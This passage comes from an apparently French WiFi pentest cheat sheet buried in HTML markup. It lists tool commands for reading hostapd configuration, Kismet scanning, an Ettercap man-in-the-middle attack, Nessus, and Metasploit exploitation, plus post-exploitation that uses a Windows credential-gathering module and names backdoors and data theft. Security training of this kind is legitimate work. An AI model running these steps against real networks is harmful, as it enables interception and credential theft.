</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">hostapd /etc/hostapd.conf</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>12\. **Analyse des fichiers de configuration**

**Commande :** `cat`

**Description :** Examinez les fichiers de configuration des réseaux WiFi pour identifier des informations sensibles ou des vulnérabilités.

**Exemple :**

<div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" id="bkmrk-cat-%2Fetc%2Fhostapd.con" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ28 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">cat /etc/hostapd.conf</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>13\. **Utilisation de Kismet**

**Commande :** `kismet`

**Description :** Kismet est un outil de détection et d'analyse des réseaux sans fil. Il peut être utilisé pour scanner les réseaux WiFi et détecter les vulnérabilités.

**Exemple :**

<div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" id="bkmrk-kismet" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ29 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">kismet</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>14\. **Attaque de type Man-in-the-Middle (MitM)**

**Commande :** `ettercap`

**Description :** Utilisez Ettercap pour intercepter et manipuler le trafic réseau entre deux parties.

**Exemple :**

<div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" id="bkmrk-ettercap--g" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ2a ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">ettercap -G</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>15\. **Analyse des vulnérabilités avec Nessus**

**Commande :** `nessus`

**Description :** Nessus est un outil de scan de vulnérabilités qui peut être utilisé pour identifier les failles de sécurité sur les réseaux WiFi.

**Exemple :**

<div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" id="bkmrk-nessus" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ2b ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">nessus</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>16\. **Exploitation des vulnérabilités avec Metasploit**

**Commande :** `metasploit`

**Description :** Utilisez Metasploit pour exploiter les vulnérabilités identifiées. Metasploit offre une large gamme d'exploits et de payloads pour différentes vulnérabilités.

**Exemple :**

<div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" id="bkmrk-msfconsole-use-explo-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ2c ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 102.625px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">msfconsole</div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">use exploit/&lt;path_to_exploit&gt;</div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">set RHOST &lt;target_ip&gt;</div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">run</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>17\. **Post-exploitation avec Metasploit**

**Commande :** `metasploit`

**Description :** Après avoir exploité une vulnérabilité, vous pouvez utiliser Metasploit pour effectuer des actions post-exploitation, telles que l'installation de backdoors ou le vol de données.

**Exemple :**

<div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" id="bkmrk-use-post%2Fwindows%2Fgat-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ2d ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 82.4688px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">use post/windows/gather/credentials</div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">set SESSION &lt;session_id&gt;</div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">run</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>18\. **Analyse des logs**

**Commande :** `tail`

**Description :** Examinez les logs des systèmes pour identifier des activités suspectes ou des vulnérabilités.

**Exemple :**

<div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" id="bkmrk-tail--f-%2Fvar%2Flog%2Fsys" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ2e ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
